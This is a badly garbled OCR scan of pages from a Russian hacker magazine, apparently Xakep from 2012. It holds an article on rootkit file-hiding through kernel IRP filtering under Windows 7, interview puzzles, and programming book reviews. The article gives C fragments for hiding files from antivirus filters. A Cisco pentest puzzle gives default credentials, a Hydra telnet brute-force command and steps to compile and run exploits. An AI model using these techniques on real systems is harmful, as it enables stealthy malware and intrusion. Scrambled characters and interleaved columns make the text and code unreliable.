I Еслхты совсем не

(юда: теме -тебе tiпучrl.соm/сWrlо7З. читай l..lsDNописание работы в

( файловыffи

фильтрами. Rесоm-

mended bylilicrosoft!

I

для кOг0 не секрет, чт0 нынешние хваленые антивирусы делают ставку на сигнатурный поиск малвари, де-факто игнорируя lда-да, я знаю, что в рекламе пишут иначе) другие способы детекта, такие как поведенческий анализ и эмуляция. Микко Хиппонен {Mikko Hypponen), директор по исследованиям антивирусной компании F-Sесчге, сказал по поводу новоявленного чуда по имени Flаmег, что разработчики антивирусов потерпели полное фиаско. uКакой от них толк, если вирусы свободно распространяются и работают годами. tlаmе успешно шпионил за пользователями как минимум два гOда, и эт0 0птимистичная 0ценка,..> посетовал Микко Хиппонен. и

С ростом сложности руткитов lначиная с того момента, когда

иметь драйвер уровня ядра для обеспечения стабильности руткита стало <модным трендом"l функционал самозащиты, в том числе

сокрытия файлов, был перемещен в ядро. Это и понятно, поскольку при правильной организации найти сокрытый файл лишь средствами юзерспейса в таком случае вряд ли представится вOзможным.

Способов сокрытия файлов в ядре на самом деле немного. Первый из них связан с перехватом определенных Native АРl, предназначенных для низкоуровневой работы с файловой системой, к примеру ZwOpenFile, ZwReadFiIe и так далее. Надо сказать, что такой подход широкого распространения <в боевых условияхо не получил, что легко объяснимо уж больно быстро выявляется, !ругой способ сокрытия файлов основан на перехвате lRPпакетов, составляющих основу взаимодействия драйверов и устройств между собой. Этот способ получил наиболее широкое распространение в паблике из-за своей малозаметности и довольно легкой реализации. Надо сказать, что именно перехват lRР-пакетов lKaK для сокрытия файлов, так и для других зловредных целей] стал прямо-таки источником вдохновения для руткитостроителей. Затем настало затишье, сменивщееся революционным прорывом руткита Rustock, в котором впервые, если не ошибаюсь, была применена технология сокрытия, основанная на фильтрации операций с диском на самом низком уровне уровне драйвера atapi.sys. Последовавшее за Rustock'oM семейство руткитов TDL/ TDSS лишь немного усовершенствовало данную технологию. 0сновной же принцип остался без изменений сокрытие (служебных> файлов руткита происходило путем перехвата и изменения SRВ-пакетов ISCSl Request Block] на самом низком уровне уровне lRР-хендлеров драйвера atapi.sys. С тех пор ничего оригинальнее такого способа придумано не было. Есть много вариаций на этутему, однако суть везде остается 0дна. У данного метода есть один существенный недостаток: так как руткиту приходится заражать системные драйверы, ему как-то надо выкручиваться при включенном Page Guагd технологии, направленной на обеспечение целостности системного адресного пространства. Кстати, на мой взгляд, эта технология довольно неплохо зарекомендовала себя в плане противостояния руткитам в Wiп7, но также существенно осложнила жизнь разработчикам антивирусных защит, ведь для устанOвки свOих <хOрOших> хукOв, скажем, поверх SSDl также приходится обходить Page Gчагd.

-

-

-

-

-

Свои файлы малварь обычно скрывает несколькими способами. 0ни все широко известны и, как правило, основываются на перехвате WiпАРl-функций системы, предназначенных для работы с файловой системой, пеРечислением и просмотром папок и самих файлов,

088

хлкЕр

09 l16t+/

2012


поймай меня, если сможешь

Семерка становится все популярнее, скоро от поддержки (хрюши)) мiсгоsоft откажется {да-да, у них там уже счетчик тикаетi, поэтому взгляды антивирусных компаний устремлены в будущее главным требованием для их программных продуктов стала поддержка Windows 7 lхЗ2lхьt ), а в скором будущем и <восьмерки>, которая п0 всем прикидкам должна стать очень популярной системой, Надо сказать, что фильтрацию lRР-пакетов можно наладить двумя способами. Первый, самый известный, основан на аттаче своего фильтра к стеку устройств, обслуживающих файловую систему. Такой способ очень хорош и надежен и хорошо документирован. Тем более что именно эта технология усиленно продвигается Майкрософтом как единственно верная и правильная. Второй способ чистый хак, и он основан на перехвате kегпе -функции lofCa lDгiчег lкстати, в одном из прошлых номеров ][ я уже писал об этом универсальном способе перехвата]. Сложность его заключается в том. чтобы правильно определить нужный тебе lRР-пакет, ведь в единицу времени lоfСаllDгiчег вызывается десятки тысяч раз и ее используют все устройс,ва, каким не лень. Еще реже в природе встречается перехват lRР-пакетов, основанный на своеобразном <антианалоге> lоfСаllDriчег- функции завершения lof CompleteReque5t, которая также обрабатывает lRР-пакеты.

-

-

-

ffi

Итак, подведу промежуточный итог: сокрыть файл для руткита нужное, дел0 важнOе, 0днак0 с ростом защищенности -дел0 0С, о чем я писал выше, приходится идти на некий изврат надо как-то решать проблемы с Page Guаrd либо обходиться без патчей keгпе1-mеmorу. Вообще, решить и ту и другую задачу в рамках ограничений .семерки> можно. Расписывать способы обхода Page Guагd я сегодня не буду, статья все-таки не об этом. Но вот пофантазировать насчет возможного Stеаlth-сокрытия файлов с использованием имеющихся технологий мы очень даже можем. Итак, гоставим перед собой задачу организовать на необходимом нам уровне сокрытие файлов в Windows "Sеmегkа>, при этом не нервируя Page Guагd. Сделать это, как оказывается, не так уж и тяжел0, дOстатOчн0 иметь некоторые навыки написания драйверов и иметь приблизительное понятие о том, как работает файловая система.

-

-

На практике реальных способов сокрытия файлов можно придуматьдовольно много, и все они будуттак или иначе работать. Главное для нас сейчас не трогать системную память, чтобы дать возможность драйверу работать в Win 7+. Самое простое, что приходит в голову, это заняться обработкой lRP с кодом lRP_MJ DEVlCE_CONTROL, которые привлекаются к обработке таких контролкодов, как l0CTL_SCSl_PASS_THROUGH Dl R Ест. Сделать это относительно легко, скажем, примерно так:

-

-

pIrpstack = IocetcuгnentIгpstackLocation(pIгp);

if t

(pIгpstack->MajoгFunction

== IRP_MJ_DEvIcE_coNTRoL)

if (рIгрStасk->Рагаmеtепs.DечiсеlоСопtгоt.IоСопtпоt

Code == IOCTL_SCSI_PASS_THROUGH,DIRECT) {

lf (рIгр->UsегВuffеп t

if

{,

(

КеGеtСчгпепtIгq1(

HideмyFile(.., );

}

) )

рIrр->UsепВuffег и имени файла, что можно сделать примерно так:

if

( !_Wcsnicmp( (PWсHAR)

FileNameToнide,

{ /

/

((ULОNG_РТR)UsегВuffег + oxf2),

) )

Затираем содержимое

(РVOID)USегВuffег, 0, USeгBuffenLength); memset((PVOID)((ULONG_PTR)UseгBuffeг + axf2), О, 1s),; memset( }

Реализация такого <сокрытия> это один из наиболее простых и предполагаемых вариантов. При обработке необходимо помнить 0 пOдвOдных ка[4нях, например, над0 предусмотреть различие

между NТFS-индексами и самими файлами, Щругой способ, приходящий в мою нетрезвую голову, сто дать по рукам обработчику lRР-пакетов:

pIгp->IostatuS.Status = STATUS,NOT рIгр->IоStаtuS. Iпfогmаtiоп Iocomp],eteReqUest

(

pI

пр,

09

/16dlr0]2

это про-

IMPLEMENTED;

= 0.; I0_N0_INcREMENT).;

-

-

попытаемся

спрятать файл в одном из (<высокихD фильтров и при

этом где-то ниже нас. над атапи, будет сидеть файловый фильтр авера. т0 эт0 [40жет привести к зависанию системы и даже к <синему экрану>.

Эту же схему сокрытия можно использовать практически во всех файловых фильтрах как стандартных, рекомендуемь х Мiсгоsоft, так и самопальнь х, писанных на коленке. Кстати, насчет той самой <рекомендуемой" Мiсгоsоft технологии организации файловых фильтров, основанной на вызовах tltRegisteгFi tег/FltStаrtFiltегiпg и так далее. flанная технология дOвOльн0 успешн0 используется всеми аверскими прогами, фильтрующими работу с файлами. На диске ты найдешь один из таких примеров, который поможеттебе организовать свой файловый фильтр, а также потренироваться в технике сокрытия файлов.

-

И опять старые сказки 0 главном. Прогресс не стоит на месте, разработчики аверов опять оказались в роли догоняюцих, В тырнетах новый аврал по имени Flаmе. Руткит, который в силу 0граниченнOсти распространения смOг, по разным данным, 0т двух д0 пяти лет скрыт0 прOсуществOвать в строго локализованной географической зоне. Все бы ничего, но только дело теперь в том, что с появлением

-

этого руткита открьiлась новая страница в области lТ-безопасносвирусьi и руткиты начали использоваться как кибер-

ти

-теперь и

е.

Что это? Начало эпохи кибервойн? Читай ][, чтобы быть во всеоружии|

}

-

Что называется, дешево и сердито. В результате при приеме нужных нам lRР-пакетов мы просто говорим системе, что <этот столик не обслуживается", и система верит нам на слово. Как результат- пакет, посланный авером/системой, чтобы прочитать содержимое файла или узнать его имя, просто будет отброшен, Теперь о самом интересно[4 где все это отслеживать и фильтровать. Наиболее эффективный и действеннь й способ это приаттачиться к устройству и парсить lRР-пакеты там. "\\Device\\Disk" Как правило. данное устройство создается драйвером atapi.sys. а ниже этого драйвера ничего нет там только чтение/запись портов жесткого диска. То есть данное решение обеспечит нам обход любых фильтров, установленных аверами. Кстати, именно такой подход используется в семействе руткитов TDL/TDSS и Rustock. Тут необходимо сказать, что фильтрация выше данного девайса при попытке сокрытия файла может привести к жесткому когнитивному диссонансу у аверской проактивки. К примеру, если мы

0руж

} }

хАкЕр

!

!= 0)

В самой процедуре сокрытия файла HideMyFile(], в принципе, нет ничего сложного: там необходимо реализовать обнуление поля

fE


Ргеviеw кOдинг

91

6

глАвных книг

0

кOдингЕ

Чтобы стать грамотным кодером, недOстатOчн0 мнOг0 писать, нужно еще и много читать. Но что именно

читать? Книг о программировании существует великOе множеств0, и времени прOчитать все тOчн0 ни у кого нет. Перед тобой первая часть обзора лучших книг по программирOванию всех времен и народOв. Здесь ты найдешь как фундаментальную литературу об алгоритмах и проектировании кода, так и сборники чист0 практических сOветOв. Почти все книги в списке нужно не прOст0 читать, а перечитывать мнOг0 раз вплOть д0 пOлнOг0 пр0светления.

кOдинг

98

uNlxolD

FАсЕ 0FWlllDOWsPH0llE

АнАт0].lия стРЕкO3ы

СКРЫТЫЕРЕЗЕРВЫ

родолжен ие статьи о разработке приложений для платформы Windows Phone 7. На этот раз речь пойдет о дизайне

BSD мертв?Хватитнасиловать

Переключен ие между видеока ртам и головная бол ь для любого л инуксоида,

П

и

труп? Попробуйте рассказать это

разработчикам DrаgопFlу BSD-caMoMy

разработке интерфейса,

иннOвациOннOму(дьявOленку>.

FERRUll

SYil/^cK

гр030выЕOБлАкА Подробный сравнительный обзор решен ий для построения полноценной облачной инфраетруктуры офиса и

-

делающая невозможной нормальную работу с GPU, Как решить эту проблему?

-для

для личнOг0 пOл ьзOва ния.

Е

l+'":;hh;н,""",:,,н;;::]il:' для ширOкOг0 круга клиент-серверных приложений.

l

ilшiТжlЁНr,"lпннж*, готы узнаешь мнOгое об lТ-индустрии чдивительного Китая.

хлкaр

а9 l1b1,12012


кOдинг

Павел Александровхч (ivin5ide,blog5pot.cOm]

а Задачи

на'iобеседова ниях

пOдБOркА

интЕрЕсньlх зАдАний,

KOTOPЬIE дАют НА СOБЕСЕДОВАНИЯХ

Салютую вам, мои дражайшие читатели! Сегодня мы продолжим наше темное дело решение

-

задач с собеседований.

3адача

Ng

1

услOвиЕ

четырем туристам нужно ночью переправиться через реку по подвесному мосту. Мост уже сильно обветшал, в настиле есть дьiры, и 0н мOжет выдержать одновременно не более двух человек lесли на мосту окажется более двух человек, мост обрушитсяl. Туристам нужно освещать дорогу фонариком иначе 0ни мOгут прOвалиться в дыру в настиле моста и погибнуть, но у них есть только один фонарик, Эти четыре человека передвигаются с разной скоростью. Адам может перейти мост за одну минуту, Лари за две минуты, Эджу нужно пять минут, самый медлительный из всех Боно ему потребуется десять минут, чтобы перейти мост. Ровно через семнадцать минут мост обрушится. Каким образом все четверо могут успеть через него переправиться?

-

-

-

рЕшЕниЕ у задачи существует два варианта решения. Оба они основаны на том, что Эджу и Боно нужно переходить мост вместе, Так они сэко-

номят наибольшее количество времени.

Ддам иЛари переходятмостl2 минутыl. Адам возвращается [З минутыl. Адам передаетфонарь Эджу и Боно, они переходят Л4ри возвращается с фонаРем (15 минутl. Адам иЛари переходятмоствместе [17 минут].

хАкЕр 09/]64l20]2

{13

4. Адамберетфонарьи возвращаетсязаЛари(l5минутl, 5. Адам иЛари переходятмоствместе(l7минут].

3адача

Ng

2

услOвиЕ В деревне, где живет пятьдесят семейных пар, каждый из мужей изменял своей хене. Каждая из женщин в этой деревне, как только

ктO-то из мужчин изменил своей жене, немедленно узнает об этом lBceM известно, как быстро распространяются сплетни в маленьких городках], если только это не ее собственный муж lo своих бедах

каждый узнает последним].3аконы этой деревни требую1 чтобы женщина, пOлучившая дOказательства неверности своего мужа, убила его в тот же день. Ни одна из женщин не может ослушаться. В селение приезжает королева, славящаяся своей непогрешимостью. 0на объявляет жителям, что по крайней мере один из мужчин деревни сOвершил супружескую измену. Что произойдет?

рЕшЕниЕ

Первы й вариа'нт [в скобках указано прошедчlее время|:

1. 2. 3. 4. 5.

Второй вариант: 1. Адам иЛари переходятмост|2 минуты). 2. Лари возвращается {4 минуты]. 3. ЛарипередаетфонарьЭджуи Боно,они переходят(]4минут].

минутJ.

эта великолепная задача является классической среди логичесхих головоломок, впервые она была представлена s книге физика flжорджа Гамоу и математика Марвина Стерна Puzzle-Math [.Математические головоломкиr} в 1958 году, Правда, в их версии фигурировали неверные жены.


кOдинг lr-4ногие читатели подумают, что королева не сказала ничего нового жителям. Жень и так знают об изменах 49 мужей. Но действительно ли это так? Представим ситуацию, когда в деревне всего один неверный муж. Тогда его жена убила бы его сразу после заявления королевы ведь она не знала об изменах других мужей, 0днако убийства не происходит, и это информирует всех. что невернь х-мужей больше одного по крайней мере два. И если невервь]х мужей было бы только два, их жены убили бы их на второй жены бы убили их на третий день. и день, а если бы их было три их сорок девять жен так далее. И если бы их было сорок девять убили бы их на сорок девятый день. Таким образом, через каждые сутки, которые прошли без убийств мужчин, становится общепонятной истиной, что количество гулящих [,4ужчин стало больше на единицу.,Що тех пор,

з. Сменить пароль привилегированного и пользовательского режиNlов с шифрова нием:

>епаЬlе

-

fconfig tегmiпа],

-

-

Nq

(config-1iпе)#login

(

5.

6.

уязвиllостей следует выполнить четыре незатейливыхдействия: 1. 0пределить версию оборудования lэто обычно написано на корпусе устройства).

Поискать в интернете суцествующиеуязвимOсти ленной версии оборудования lнапример, запрос .Уязвимости Cisco 2600u].

#logi

п

ПАРОЛЬ4

для 0предев

google.com:

vension

Настроим МСЭ соответствующим образом, ниже пример запрета FТР-трафика:

и ввести логин-пароль, заданные по умолчанию (Cisco:Cisco]. Если не помогло, то пробуем метод Ьгчtеfогсе: можно перебрать пароли для tеlпеt, используя ТНС-Нуdrа. Например, так:

SоftWаге

командDl:

0тключим управление через НТТР, HTTPS, CDP:

>telnet 192,168.1.2

IOs (tm) С2600 softwaгe (c2600-IS-M), Vегsiоп 12.З(З), RELEASE SOFТWАRЕ (fc2)

Также можно узнать с помощью следующей

8 Staгtup-confi8

flля выявления уязвимостей, а попросту говоря взлоl,ilа нашеrо девайса }lожно сделать следующее. 1. Взломать вручную или используя программы. Пробуем подключиться поtеlпеt:

версии операционки, например:

cisco Iпtегпеtwоrk oрегаtiпg system

hуdга 192.168.1.2 ciSco -Р./список-паролей

2.

-t

З0

Найти искачатьэксплойтыдлясоответствующеговида l0S. !,ля этого можно сделать запростипа "l0S 12.0 exploitu. Также можно воспользоваться

поискоl,.л по сайтам с эксплойтами

Поискать в интернете существующие уязвимости для определенной версии l0S |например, запрос в gооglе.соm:.Уязвимости Cisco l0S 12.0u, также ищем сообщения безопасности на сайте производителя cisco,com],

[например, на exploii-db,com) и, следуя прилагающимся к ним инструкциям, воспользоваться уязвимостью.,Щля этого может потребоваться компилировать эксплойт.,Щля языка С команда может быть следующая:

Для устранения уязвиttостей MolKHo проделать следующие щаги: Если есть возможность, то обновить версию l0S:

>gсс

-

1.

)

#access-list 110 deny tcp апу any eq ftp

3. 0пределитьверсиюlOS,ПриподключениикоборудованиюСisсо

4.

пе

(сопfig)#по ip http sегчеп (config)#no ip http Sесuге-SегVег (сопfig)#по cdp гUп

рЕшЕниЕ

>show

li

(config-line)#no Sепчiсе pasSwond-encгyption (сопfig-liпе)#/ч Z

ff.ля обнаружения

о

config-

(confi g-line)#pasSWoгd

#гuппiпg-сопfi

указанному оборудованию.

выдается сообщение

0

(confi g- 1ine)*passwond ПАРОЛЬЗ (config-Iine))#1ine Vty 0 0

-

2.

ПАРOЛЬ2

l,, Сохраним конфигурацию, для ее загрузки перед запуском

3

Во время проведения пентеста вам в распоряжение предоставлено оборудование Cisco на базе l0S, Задача максимально быстро обнаружить уязвимости в оборудовании. 0пишите последовательность ваших действий lB том числе вь]полняемых команд], которые позволят выявить максимальное количество возможнь х уязвимостей в предоставленном оборудовании. Примечание: вы обладаете полным к

config-line)#pasSWoгd

(config-line))#llne console

услOвиЕ

дOступом

ПАРOЛЬ1

(

пока это общепринятое знание не превысит число, которое знает женщина. Это будет означать, что изменяет ее муж, и она убьет его. 0твет: в первые 1+9 дней ничего не произойдет, а на 50-й день случится кровавая бойня,

3адача

(config)#enable secnet

(config)#seгvice passwoгd-encгyption (сопfig)#].iпе aux 0 ( config - 11пе )#logln

-

exploit.c -о exploit

после этого выполнить эксплойт: show flash

>./exploit 192.168.1.2

delete flaSh: OS.bln

copy.tftp геlоаd

2. Установить

,

flash Либо, если язык интерпретируемый, сразу выполнить. Пример для языка Ruby: время: >пUЬу

ехрlоit.гЬ 192.168.1.2

80

>enable

#clock Set 18:41:].0 18 ju]"

20].2

хдкЕр

о9 /1ь1,/ 2012


Задачи на собеседованиях

3адача

Ng

4

услOвиЕ Нужно нарисовать таблицу с большим количеством столбцов. Чтобы таблица уместилась в экран, заголовки столбцов решили выводить вертикально. Придумайте и реализуйте кроссбраузерное решение для вывOда вертикальных заголовков. Браузеры: lE6+, FFЗ.0+, 0рега 9,5+, Сhгоmе 4.0+.

рЕшЕниЕ 0дна из немногих задач, где решение для lпtегпеt Ехрlогег является самым простымl

в нем,

-

согласно рекомендациям WЗС, реализовано свойство writing-mode. fl ругие разработчики отличились каждый по-своему- в Firеfох есть свойство -mоz-trапsfогm, 0рега предлагает использовать -о-tгапsfогm. ну а разработчики движка Webkit loH применяется в браузерах Sаfагi и Сhrоmе| придумали -webkit-tгansf огm. Следующая проблема подстерегает нас в браузерах Firеfох, 0реrа 10.5], Sаfагi З.5, Сhгоmе: при пOвOрOте текста поворачивается и сам блок с текстом таким образом, что длина и щирина блока меняются местами. Текст может заехать на выше- и нижестоящие блоки. Поэтому следует предусмOтреть замену длины на ширину после трансформации текста. И наконец, косяк со старыми браузерами 0рега версии ниже']0.51 и tiгеfох версии ниже З.5. Придется отлавливать эти браузеры с помоцью JavaScгipt и поворачивать текст с помощью SVG. Поскольку в SVG нет автоматического переноса строк, повернутый текст будет в одну строку. Это придется учесть и динамически изменить размер блока так, чтобы текст не обрезался. Oкончательное рещение выглядит следующим образом:

-

в

слЕдуюlцЕм выпускЕ

1.

Естьтаблица М на N. Влевой верхней клетке (1, 'l l находится муравей. За оди н ход мура вей может передвигаться л ибо на одну клетку вн из, л ибо на одну клетку вправо. Налищите программу, которая считает количество всех путей муравья източки {'l, 1l вточку(М, N|. 06ъекты класса 0bjectWithHash лредполагается использовать в качестве ключей для Hash Мар. Укажите все ош ибки в данно},, коде:

public class objectwithHash

int id;

pubIic void setld(long id)

id

=

idj

09 /1b4l 2012

<

геtuгп

{

1of ? nul] :

7Оа; пеW Random(Seed).nextlnt();

}

public Ьооlеап

i

equals (objecttiJithHash obj

if (obj.id

==

геtUгп tгuеj геtuгп falSe;

)

id)

} } {

рпivаtе int hashCode() { геtuгп geneгateнaShcode( ) j

хлкЕр

pгotected int genenateнashcode() Iпtеgеr Seed = Math.гandom()

{

}

}

Решение задачки с необычными таблицами

3. ЧетыресобакинахOдятсявуглахбольшого квадрата. Ках<дая из собак начи нает п реследоватьдругую собаку, расположенную от нее по ходу часовой стрелки. Все соба ки бегутс одинаковой скоростью, причем они пOстOя

свOег0

н0 р!еня ют на

п

дв ижен ия так, чтоб ы

ра влен ие

п

реследовать стро го

н

п о п рям ой ту собаку, за которо й г0 нятся. Сколько времени пройдет, пока собаки поймаютдругдруга? Где это произойдет?

4. ИзЛос-АнджелесавНью-Йоркотправля-

ется п оезд с п остоянной скоростью 'l 5 i{ иль в час. 0днов ремен но и з Нью- Йорка в ЛосАнджелес п о тому же пути отп равляется

встречный поездсо скоростью 20 миль в час В тот rKe са м ы й момент из Л ос-Анджелеса с вOкзала вылетает пти ца и летит стрOг0 над железнодорожной колеей по направлению к Н ью- Йорку со скоростью 25 tииль в час. Как тOльк0 0на дOлетаетд0 пOезда, вышедшего из Нью-йорка, она немедленно разворачивается и летит в обратную сторонустой же скOрOстью, пока не встретится с пOездоtl, вышедшим из Лос-Анджелеса, пOсле чего снова разворачивается и летит в обратном на п равлен ии. Так она летаеттуда и обратно междудвумя пOездами, пOка 0ни не стOлкнутся, Какое расстояние пролетит птица?


кOдинг

Артем Табалин, инженер-проrрамми(т DevExpres5 ltaba ]па5G9mа l,comI

главньlх кн о

tr иг

]юдинге

их дOл)кЕн прочитАть кA)кдьlи, Кт0 сч итАЕт сЕБя п РOгРА1.{ },l ист0].{ Все мы прекрасно понимаем: чтобы стать профессиональным программистом, необходи мо читать специализированную техническую литературу. Но на

сегодняшний день доступно огромное количество различных изданий по программированию. l-{елой жизни не хватит, чтобы одолеть и половину из них. Какие же книги нужно читать в первую очередь? Без каких книг нельзя обойтись? В этой статье мы расскажем о тех трудах великих авторов, с кOтOрыN4и должен быть знаком каждый профессиональный разработчик.

1ш в этой статье мы рас(мотрели не все книги из золотого фонда

программерской мысли. Следуюlцую подборку книr ты найдещь в октябрьском номере I[,

€} .Jь,ъ

-

{

аq}r'

'\.-*-

d=

!


6 главных книг о кодинге

с. Макконнелл

<(СоверщенныЙ

М. Фаулер

((Рефакторинг))

код>>

Пишrlте код так, как будто сопровоr<дать его будет склонный к насилик, психопа1 который знаетl где вы жlrвете.

Напlсать код, понятный компьютери может каждый, но только хOрощпе программисты пиlлут код, понятный людяll.

о

ложно найти гуру программирOвания, кOторыи не чи-ал <Совершенный код) Стива Макконнелла. fl ействительно, одна книга, хоть и немаленькая (чуть менее 900 страниц], покрывает практически все аспекты разработки П0: от рецептов написания высOкOкачественнOг0 кода, механизмOв тестирOвания и 0тладки до стратегий оптимизации кода и психологических факторов, влияющих на разработку. Представь себе: библиография книги занимает 20 страниц и содержит более 500 источников! Книга код> одно из самых "Совершенный пOлезных и, как следствие, пOпулярных изданий по разработке П0.0на

l

ъ

издание

шподкгорlшlг ул}чшЕниЕ сущЕствующIг0 к0.1lд

понятия <рефакторинг>, раскрыл его

назначение, особенности и методы реал иза ци и.

При немалом объеме [400 страниц] книга читается буквально за пару вечерOв, 0т нее прOст0 невOзмOжно

оторваться. Главная причина головокружительнOг0 успеха книги ее практическая направленность. Все Mbi знаеN4, чт0 самая слOжная задача при пOдаче материала привести хороший показательный пример. В этом Фаулеру нет равных. Книга начинается с примера улучшения кOдакOда и этот пример сразу с головой затягивает читателя в мир рефакторинга. Всего 40 страниц дают нам вполне конкретное представление о рефакторинге, его целях, принци-

G-

-

прOграммиста.

Автор не обходит вниманием и различные методики разработки. Подробно описывается парное программирован ие, ревизии кода, разработка на основе тестирования. uРефакторинг> единственная глава книги, которую можно назвать <слабоватой>. При рассмотрении методов рефак-

торинга приводится лишь длинный слисок его видOв из книги М. Фаулера uРефаКторингu. При этом нет ни одного конкретного примера кода. Говоря о повышении производительности ПО, автор приводит убедительные дOводы против преждевременной оптимизации, когда программист в процессе разработки интуитивно распознает <узкиеD места в прOграмме и незамедлительн0 принимает меры по оптимизации в ущерб качеству кода. Приводимая статистика показывает. что в 9 из.10 своих предположений программист ощибается. Подвести итоги можно словами flжона Ро66инса: <Это просто самая лучшая книга по конструированию П0 из всех, что когда-либо попадались мне в руки. Каждый разработчик должен иметь ее и перечитывать от корки до корки каждый год Я ежегодно перечитываю ее на протяжении вот уЯе девяти лет и все еще узнаю много новогоI>

l1bll ?гt1'

любое

орефакторингессылается на книгу Мартина Фаулера

-

Макконнелл выделает Главный Технический Императив Разработки ПO-управление сложностью. Простота и ясность исходного кода и архитектуры системы определяют ее качество. Большая часть книги пOсвящена написанию высококачественного кода. Макконнелл, как никто другой, осознавая значимость мелочей, детально описывает все правила, кOтOрыми следует рукOвOдствоваться при написании хорошего кода. Необходимый уровень абстракции, разработка качественных интерфейсов классов, написание высококачественных методов, выбор ничт0 не ускользает от внимания автора. удачных имен пере[4енных Например. общим принципам использования переменных отведен целый раздел книги более чем на 100 страниц. При этом все лравила и советы даются исключительно с практической точки зрения. Макконнелл формулирует Главный Закон Качества ПО: повышение качества системы снижает расходы на ее разработку. Причина ясна большую часть времени программисты занимаются чтением и отладкой написанного кода, тогда как на собственно написание уходит около 10% рабочего времени. Поэтому поддержание качества кода системы на высOкOм урOвне экOнOмит много времени и тем самым повышает КП,Щ

09

рактически

"Рефакторинг". Причина ясна: в этой книге Фаулер сделал невозможное в предельно понятной форме донес до читателей исчерпывающее описание

неOднOкратн0 дOказала эт0, вOзглавляя рейтинги книг по программированию [gоо,gl/ЗqOkх). Благодаря простой манере изложения, особому стилю и чувству юмора Стива книга читается 0чень легко. Говоря о проектировании и конструировании программных систем,

хдКЁР

ll _

пах и 0снOвных метOдах реализации.

Мартин определяет рефакторинг как <изменение во внутренней структуре П0, имеющее целью облегчить понимание его работы и упростить модификацию, не затрагивая наблюдаемого поведения>. Но когда необходимо проводить данное изменение? Какой код должен подвергаться переработке? Автор дает подробные ответы на эти волросы. Он вводит правило (трех ударов): <После трех ударов начинайте рефакторинг>. То есть когда вы делаете что-то аналогичное в третий раз, это сигнал для начала рефакторинга. Раздел <Код с душком> дает нам четкое представление о том, какой же код требуетулучшения. К признакам такого кода относятся: длинный метод, большой класс, дублирование кода, длинный список параметров метода, временные поля и многое другое. Фаулер, как сторонник TDD {Теst-dгiчеп development), посвящает главу книги сOзданию автоматических тестов и описанию среды JUnit. Перед проведением рефакторинга следует написать тест для улучшаемого кода. чтобы обеспечить неизменность его поведения, и только пOсле этOг0 смел0 вносить изменения. Большую часть книги занимает каталог методов рефакторинга, Он сOдержит разделы, пOсвященные сOставлению методов, перемещению функций между объектами, организации данных, упрощению услOвных выражений и вызовов методов, решению задач обобщения и крупным архитектурным рефакторингам. Многие из методов рефакторинга автоматизированы в популярных lDE. Например, Visua Studio предоставляет возможности по автоматическому выделению метода lExtractlr4ethod), удалению параметра lRеmочеРагаmеtег), выделению интерфейса {Ехtгасtlпtегfасе] и др. В качестве крупных рефакторингов уровня системы Фаулер приводит следующие: разделение иерархии наследования, выполняющей более одной задачи, переход от процедурного подхода к объектно-ориентированному, отделение предметной области от уровня представления, а также выделение иерархии, подразумевающее разбиение большого класса на целую иерархию значительно меньших по размеру и более специализированных подклассов. Прочитав эту книгу, большинство программистов изменяет свой подход к написанию кода. Oни становятся более грамотными, аккуратными и внимательными к своемутворению. Книга обязательна к прочтению для всех прOграммистOв, стремящихся к совершенству в своем ремесле.


кOдинг Э. Гамма, Р. Хелм, Р. ,Щжонсон,

,Щ.

Влиссидес

((Паттерн ы проектирования>) Проектирование объектно-ориентированных

програtl1,{

-

(( П

нелеrкое дело,

а если их нужно испOльзовать повторно, т0 все становится еще слOжнее.

Томас

рогра

}i }i

Програtlмисты-праrшатики

ист-п ре гмати

к>)

не уклоняются от ответственности. Вместо 0ПЫТ.

ЭТOr0 ОНИ ИСПЫТЫВаЮТ РаДOСТЬ, ПРИНИ1.1аЯ ВЫЗOВЫ И РаСПРОСТРаНЯЯ

прагматик,>полностью оправдывает свOе название. Викисловарь говорит, что эт0 тOт, <кт0 ставит прагматик практическую пOлезнOсть, выгоду выше всего>. Программистыпрагматики 0риентируются в первую очередь на практическую

К

3,

Г!r.,

Р,

Ь.

Р.ДrовФ, Д

Вщс

прrЕrшOЕъlптlil-

ltрtЕппрOпtшш0]0

прOЕllilпlпtllш

llАпЕmы пmЕкIllршшпя экземплярOв. 0чень часто начинающий разработчик самостоятельно берется за решение 4hпiЕФрrйФ уже более тысячи раз решенной до него задачи проектирования и изобретает 0чередную разнOвиднOсть пятик0леснOг0 велOсипеда, истинн0 гOрдясь своим <новшествомr. Владение языком паттернов позволяет решить множество задач проектирования наиболее оптимальным способом, затрачивая при этом минимум усилий. Всего двадцать описанных в книге паттернов предоставляют инструментарий для решения огромного спектра задач проектирования П0. Материал книги довольно сложен и требует от читателя определенных знаний в области объектно-ориентированного проектирования. flля освоения паттернов недостаточно просто прочитать книгу, необходимо основательно над ней uпопотеть>. Впрочем, твои усилия не пройдут даром. Книга содержит З50 страниц и состоит из двух частей. В первой части дается обшее понятие паттернов проектирования, описывается их практическOе применение на примере сOздания визуальнOго редактOра документов Lexi. Вторая часть книги содержит каталог паттернов с подробным описанием назначения, структуры, особенностей реализации и примерами применения каждого паттерна. Коллектив авторов известен как Gапg of Fочг (<Банда четырехrJ, поэтому представленные в книге паттерны называют GоF. Авторы разбивают все мнOжеств0 представленных паттернOв на три группы: пOрождающие паттерны, структурные паттернь и паттерны поведения. Порождающие паттерны решают задачу инстанцирования {создание экземпляров] классов, К самым популярным паттернам в данной группе можно отнести АЬstгасtFасtогу {абстрактная фабрикаl, FactoгyMethod (фабричный метод] и singleton lодиночкаl. Структурные паттерны предназначены для решения вопросов компоновки системы на основе классов и объектов. К ним относятся такие важнейшие паттерны, как Аdарtег (адаптер}, Вгidgе (мост}, Composite (компоновщик), Ргоху (заместительl и tасаdе lфасадl. Паттерны поведения связаны с алгоритмами и вопросами распределения обязанностей между классами. Здесь необходимо упомянуть Stгategy [стратегия), TemplateMethod Iшаблонный методl, 0Ьsегчеr lнаблюдатель), Command [команда] и ltегаtог (итератор). некоторые примеры в Единственное, что может смутить читателя, книге написаны на малоизвестном на сегодняшний день языке программирования Smalltalk, а для изображения диаграмм классов вместо привычного UN4L используется 0МТ (0blect Modeling Techniquel. это лучшая из Гуру 00АиП Мартин Фаулер пишет: .Паттерны GоF когда-либо изданных книг по объектно-ориентированноl|.1у проектированию, Эiа книга чрезвычайно влиятельна в индустрии программного посмотрите на библиотеки Java и .NET, которые обеспечения -только буквально кишат паттернами GоF". Не существует специалиста в области объектно-ориентированного проектирования, незнакомого с паттернами , GоF, а если такой и есть,то в этом случае его, скорее всего, нельзя назвать специалистом.

-

-

096

,Щ.

нига.Поогоаммист-

